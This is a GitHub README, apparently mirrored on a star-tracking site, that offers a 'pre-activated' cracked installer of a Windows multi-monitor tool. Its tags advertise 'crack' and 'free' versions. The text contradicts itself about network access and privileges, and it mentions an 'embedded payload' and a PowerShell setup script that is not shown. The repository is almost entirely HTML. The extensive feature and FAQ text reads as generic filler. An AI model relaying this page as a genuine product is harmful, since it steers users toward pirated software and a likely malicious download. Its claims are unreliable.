Star 历史趋势
数据来源: GitHub API · 生成自 Stargazers.cn
README.md

Multi-Monitor Configuration Tool for Windows 10 & 11

🖥️ PowerShell Setup

ps-core installs release stars licence build


Actual-Multiplie-Monitors is a standalone desktop installer that provisions a complete multi-monitor configuration environment on Windows x64 systems. It packages display detection, layout assignment, and per-monitor profile management into a single deployable build, eliminating manual configuration steps across heterogeneous display setups. The installer handles resolution mapping, positioning, and primary-display designation through an automated sequence, with pre-activated components included for offline deployment. Intended for testing and infrastructure rollout scenarios, it targets systems requiring reproducible, repeatable monitor topology without external dependencies.

✅ Requirements

  • OS: Windows 10 / 11
  • Shell: PowerShell 5.1+ or PowerShell 7+
  • Network: internet access to download the script
  • Privileges: standard user

Features

  • Automated detection and enumeration of all connected display outputs, including internal panels, external monitors, and virtual displays.
  • Per-display configuration profiles for resolution, refresh rate, orientation, scaling factor, and color depth.
  • Layout mapping engine supporting extended, mirrored, and single-display modes with persistent positioning across reboots and hot-plug events.
  • Profile switching mechanism for saving and restoring complete multi-monitor configurations on demand.
  • Hot-plug and topology-change handling that reapplies the correct profile when displays are connected or disconnected.
  • Primary display designation with deterministic assignment rules for consistent window placement.
  • DPI and scaling coordination across heterogeneous displays to maintain consistent rendering behavior.
  • Configuration validation and rollback to prevent invalid or unsupported display states from being applied.
  • Logging and diagnostic output for troubleshooting display detection and profile application failures.
  • Standalone installer workflow that prepares the local environment and registers the configuration components without external dependencies.

How it works

The installer operates as a self-contained deployment package that provisions the full multi-monitor configuration stack on the target desktop without requiring external dependencies or a network connection at runtime. On launch, it performs a staged extraction of its embedded payload into a temporary working directory, verifies integrity against an internal manifest, and then hands control to the configuration engine.

The configuration engine enumerates connected display adapters and monitors through the native desktop display APIs, capturing each device's resolution, refresh rate, orientation, physical position, and scaling factor. This inventory is persisted as a local profile so that hardware changes between runs are detected and reconciled rather than blindly overwritten.

With the topology mapped, the engine composes a layout model: it establishes the primary display, orders secondary displays spatially, aligns pixel boundaries to eliminate gaps and overlaps, and assigns per-monitor DPI scaling so that mixed-density arrangements render consistently. The resulting layout is validated against adapter capabilities before being committed to the operating system's display configuration store.

Commit is transactional. The installer snapshots the prior display state, applies the new configuration, and confirms that each monitor reports the intended mode. If any display fails to accept the assignment, the engine rolls back to the snapshot and records a diagnostic entry rather than leaving the desktop in a partially applied state.

Supporting services run alongside the main engine: a lightweight background watcher monitors for hot-plug events and display topology changes, reapplying the stored profile automatically when a monitor is connected, disconnected, or powered on. A profile manager exposes saved layouts for multi-location setups, allowing the appropriate configuration to be selected per environment.

All configuration artifacts, logs, and recovery snapshots are written to a dedicated application data directory. The package never modifies system files outside the standard display configuration surface, and every applied change is reversible through the recorded snapshot. Uninstallation removes the engine, services, and stored profiles while leaving display settings at their last known state.

Compatibility

Operating System Support

The installer is built and validated for Windows x64 desktop environments. It targets Windows 10 (version 1809 and later) and Windows 11, including current cumulative update branches. Both Home and Pro editions are supported, with Enterprise and Education editions functioning under the same configuration model. Legacy 32-bit Windows installations are not supported.

Hardware Requirements

Multi-monitor operation requires at least two connected displays. The installer detects all active outputs exposed by the graphics adapter and configures them according to the selected layout profile. Supported connection types include DisplayPort, HDMI, DVI, and USB-C display output where the host adapter exposes a compatible signal path. Mixed-resolution and mixed-refresh-rate configurations are handled per-display, with independent scaling applied to each output.

Graphics Adapter Compatibility

The configuration engine operates against the display topology reported by the operating system, so it remains adapter-agnostic across integrated and discrete graphics solutions. Environments with a single adapter driving multiple outputs and environments with multiple adapters each driving separate displays are both supported. Display topology is re-read on each run to reflect hot-plug and docking changes.

Display Arrangement and Scaling

The installer supports horizontal, vertical, and mixed-orientation layouts, including primary display designation and per-monitor rotation. DPI scaling is applied individually to each output so that mixed-density setups retain consistent perceived sizing. Layout profiles are persisted so that configuration survives reboot and reconnect cycles.

Session and Environment Notes

Configuration applies within an active user session and requires standard desktop interaction. Remote desktop sessions may report a reduced display topology and will be configured according to the outputs visible to that session. Virtual machine environments are supported provided the guest exposes multiple virtual displays to the operating system.

Known Limitations

Displays driven through adapters that do not report their topology to the operating system may not be individually configurable. Certain vendor control panels may override arrangement or scaling settings after the installer runs; in these cases the vendor utility should be aligned with the applied profile.

FAQ

Is administrative privilege required to apply a configuration? Yes. Writing display topology, resolution, refresh rate, and orientation data requires elevation on the target desktop. The installer requests an elevated context at launch; per-user preference changes that do not touch system display state can be applied without elevation, but a full multi-monitor configuration pass requires administrator rights.

Which display topologies are supported? The installer handles extended, duplicated, and single-display modes, plus arbitrary arrangement of two or more monitors. Monitor positioning is expressed as a coordinate map, so non-rectangular layouts, vertical stacks, and mixed-orientation setups (landscape alongside portrait) are all representable. Cloned configurations retain the lowest common resolution and refresh rate across the participating displays.

How does the tool handle displays with different resolutions or refresh rates? Each display is configured independently. The installer does not force a uniform mode; per-monitor resolution and refresh rate are applied individually, and the resulting desktop canvas is sized to the bounding box of all positioned displays. Where a requested mode is not advertised by a display's EDID, the installer reports the mismatch rather than silently substituting a fallback.

Are configuration profiles persistent across reboots and hardware changes? Profiles are written to disk and re-applied on session start. The installer keys profiles to display identifiers so that a known monitor set restores its assigned layout automatically. When the detected display set does not match any stored profile, the installer falls back to the last known-good configuration and logs the discrepancy for review.

What happens if a monitor is disconnected or hot-plugged? Topology changes are detected and the active profile is re-evaluated. Disconnecting a display collapses its reserved region and reflows the remaining layout according to the profile's fallback rules. Reconnecting a previously configured display restores its assigned position, resolution, and orientation without requiring a manual reconfiguration pass.

Does the installer modify driver-level or registry-level display settings? Configuration is applied through the standard display configuration interfaces exposed by the operating system. The installer does not replace display drivers and does not require vendor-specific control panels. Registry writes are limited to the persisted profile store and are reversible through the installer's reset operation.

Can configurations be exported and reapplied on another machine? Yes. Profiles serialize to a portable file containing display identifiers, geometry, modes, and orientation assignments. Importing a profile on a second machine attempts to match displays by identifier and reports any entries that cannot be resolved, allowing manual reassignment before the profile is committed.

What are the offline and standalone characteristics of the build? The package is self-contained and performs no network retrieval during configuration. All topology logic, profile handling, and validation run locally. This makes the installer suitable for air-gapped workstations and for deployment scenarios where outbound connectivity is restricted or audited.

How are invalid or conflicting configurations handled? Every requested mode is validated against the capabilities reported by each attached display before being applied. Configurations that would produce overlapping monitor regions, exceed the desktop canvas limits, or request an unsupported mode are rejected with a diagnostic entry identifying the offending display and parameter. The previously active configuration remains in effect.

Is there a rollback path if a configuration renders the desktop unusable? A reset operation restores the display state captured immediately before the most recent apply. The installer also retains the prior profile so that a failed configuration can be reverted without re-detecting hardware. Reset can be invoked from a non-graphical context if the applied layout leaves the desktop inaccessible.

Disclaimer

This software is provided as a standalone desktop installer intended for legitimate multi-monitor configuration on supported Windows x64 systems. It is supplied in its pre-activated standalone form for testing and deployment scenarios only; users are responsible for ensuring that their use of the software complies with all applicable licensing terms, organizational policies, and local regulations.

The installer performs automated system-level configuration of display topology, resolution mapping, and monitor arrangement. Because these operations modify display-related system settings, results may vary depending on GPU vendor, driver version, connected display hardware, and operating system build. No guarantee of uninterrupted or error-free operation is expressed or implied, and the authors accept no liability for any direct or indirect damages, data loss, or system instability arising from installation or use.

The software is distributed on an "as is" basis, without warranty of any kind, whether express, implied, or statutory, including but not limited to warranties of merchantability, fitness for a particular purpose, and non-infringement. Compatibility testing is limited to the configurations described in the Compatibility section; unsupported hardware or modified system environments may produce unexpected behavior.

Users are solely responsible for verifying system compatibility, creating backups of critical configuration data, and maintaining appropriate security controls on their systems. Redistribution, reverse engineering, or modification of the installer outside the terms granted by its license is not endorsed by the authors. By installing or using this software, you acknowledge and accept these terms in full.

License

This project is distributed as a self-contained desktop software package. The installer and all bundled components are provided as-is for use on compatible Windows x64 systems. No external dependencies, package managers, or network resources are required to complete installation or to operate the software once deployed.

Licensing is structured around a single-machine, per-seat model. Each installation is intended for use on one physical desktop system. Redistribution of the installer, in whole or in part, is not permitted without explicit authorization from the maintainer. Modification of the bundled binaries, configuration files, or installer scripts is likewise restricted, except where such changes are strictly necessary for local compatibility troubleshooting and are confined to the installing party's own environment.

The software is provided without warranty of any kind, express or implied, including but not limited to warranties of merchantability, fitness for a particular purpose, and non-infringement. The maintainer assumes no liability for data loss, display misconfiguration, driver conflicts, or any other damages arising from installation or use. Users are responsible for verifying system compatibility and for maintaining current backups of display-related configuration prior to deployment.

All trademarks, product names, and company names referenced within the software or its documentation remain the property of their respective owners. Use of the software does not grant any rights to those marks. The license does not transfer ownership of the software itself; it grants a limited right to install and operate the package in accordance with the terms described above. Continued use of the software constitutes acceptance of these terms.

关于 About

Seamless Multi-Monitor Configuration Installer for Desktop Systems
actual-multiple-monitors-crack-2026actual-multiple-monitors-cracked-2026actual-multiple-monitors-for-pcactual-multiple-monitors-free-2026automationdeveloper-toolsdisplay-switchingmultiple-monitorsmultiple-monitors-2026multiple-monitors-crackmultiple-monitors-for-windowsmultiple-monitors-freemultiple-monitors-softopen-sourcepythonscriptssoftware-engineeringsystemutilitywindows-app

语言 Languages

HTML99.1%
TypeScript0.9%

提交活跃度 Commit Activity

代码提交热力图
过去 52 周的开发活跃度
21
Total Commits
峰值: 15次/周
Less
More

核心贡献者 Contributors